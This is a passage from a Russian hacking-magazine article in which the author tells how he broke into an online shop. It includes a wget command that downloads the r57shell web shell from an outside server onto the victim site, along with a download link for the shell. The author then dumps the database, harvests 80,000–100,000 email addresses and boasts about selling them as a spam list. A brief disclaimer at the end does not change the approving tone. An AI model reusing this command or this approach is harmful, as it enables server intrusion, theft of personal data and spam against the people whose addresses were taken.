Налет на магазин

l1s(dalnet, #ru24)

Хакер, номер #088, стр. 088-064-3

система выплюнула доступные на запись папки. Выбрав одну из них, легкими манипуляциями я залил r57shell на сервак:

wget -O upload/image/button/12as344sae32as3q.php http://rst.void.ru/download/r57shell.txt

Отлично, шелл успешно залился, и теперь я мог удобно работать с директориями сервера. Первым делом я прошарил весь сервер на наличие кредиток или хотя бы каких-либо намеков. Но почему-то не нашел вообще не одной карты. Только в тот момент до меня дошло, что на сервере не будет кред, так как форма для вбива карт на вебе отсутствовала. Тут меня посетил большой облом по поводу содеянного. Неужели все напрасно? "Ну нет," - подумал я про себя и устремился на поиски конфига mysql. Через 5 минут он был уже у меня, и я уже владел дампом всей базы сервера. Зачем мне дамп? Хех, разве дядя forb не учил вас тому, что база данных - это то, что можно продать за кругленькую сумму? Но продавать мне ее было некому, поэтому я не стал париться, а просто отсортировал мыльники из базы и забил их в файл mail.txt. Благо мыльников получилось около 80000-100000, что весьма неплохо подходило под спам-лист, учитывая тот факт, что 99% мэйлов на подобных серверах - чистый воды валид, который в дальнейшем можно было бы пустить в расход.

[Mission Completed!]

Вот так вот. После этой истории злобные админы снесли с сайта гостевуху и наложили соответствующие патчи на серверный софт. Через несколько дней после моего поста на одном из форумов ко мне стукнулся один заинтересовавшийся моим спам-листом чел, который удачно приобрел его у меня, что не могло не радовать. Я всегда говорил: в любом взломе должна быть хоть какая-то выгода, даже в моральном виде ;). Суа!

Немного о cgi-сканерах

Говоря о cgi-сканерах, следует учесть вот что. Во-первых, ты должен знать самый простой алгоритм работы сканера. У любого сканера изначально должна быть готовая база уязвимостей, которая может пополняться как вручную, так и автоматически. Сканер может работать через proxy или же без него. Он должен уметь вести логи и иметь хорошую базу ответов сервера на разные ошибки. Необязательным, но желательным вариантом является включенный в исходник скрипта fork, что весьма прибавит скорости сканеру. Вот и весь алгоритм работы. Все это можно не делать. Яркий тому пример - мой скрипт, используемый в статье. Если ты загорелся целью написать свой собственный, куда более продвинутый сканер, чем мой, то советую брать готовую основу сканера (например, nikto) и уже по кусочкам налеплять на него коды.

WWW

http://rst.void.ru/download/r57shell.txt - r57shell последний ветки от rst.

http://packetstormsecurity.nl - рай для хакера.

http://securityinfo.ru/ - большое количество уязвимостей в web-приложениях и много документации на security-тему.

http://ru24-team.net/releases/ru24_fire.rar - полная версия моего скрипта. На момент написания статьи - 0.1

CD/DVD

На диске ты найдешь весь софт, описанный в этой статье.

WARNING

Вообще, ломать магазины – преследуется по закону, поэтому считай эту статью небылицей и не повторяй всего этого дома.